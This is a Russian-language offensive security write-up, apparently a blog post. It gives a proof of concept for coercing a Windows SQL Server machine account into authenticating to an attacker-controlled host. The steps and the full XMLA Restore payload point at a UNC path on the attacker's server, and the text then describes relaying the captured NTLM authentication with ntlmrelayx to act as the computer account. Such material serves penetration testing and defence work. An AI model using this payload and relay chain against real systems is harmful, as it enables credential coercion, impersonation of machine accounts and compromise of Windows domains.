
Техника, позволяющая принудить Windows SQL Server к аутентификации на произвольной машине.

Метод, позволяющий принудить Windows SQL Server к аутентификации на произвольной машине.
Этот proof of concept создан в соавторстве:
Чтобы инициировать аутентификацию от имени учётной записи локальной машины, необходимо подключиться к удалённому SQL Server с использованием учётных данных пользователя:

Затем выберем пункт «Restore», чтобы восстановить базу данных из указанного файла.

Чтобы сгенерировать XMLA-файл, укажите путь к произвольному файлу в поле «Backup File» и нажмите Ok.

Затем измените путь к произвольному файлу, заменив его UNC-путём до вашего сервера атакующего (например, \\192.168.128\SYSVOL\db.abf)

XMLA-запрос proof of concept (poc.xmla):
<Restore xmlns="http://schemas.microsoft.com/analysisservices/2003/engine">
<File>\\192.168.2.51\SYSVOL\db.abf</File>
<DatabaseName>\\192.168.2.51\SYSVOL\db.abf</DatabaseName>
<DbStorageLocation xmlns="http://schemas.microsoft.com/analysisservices/2008/engine/100/100">\\192.168.2.51\SYSVOL\db.abf</DbStorageLocation>
</Restore>
И мы получаем аутентификацию от учётной записи локальной машины SQL Server:

Получив аутентификацию, мы можем ретранслировать её с помощью ntlmrelayx, чтобы выполнять множество действий от имени компьютера SQL01$.
Это круто, но вызвать данную принудительную аутентификацию с атакующей машины под управлением Linux сложно, так как у нас нет доступа к SQL Server Management Studio (SSMS).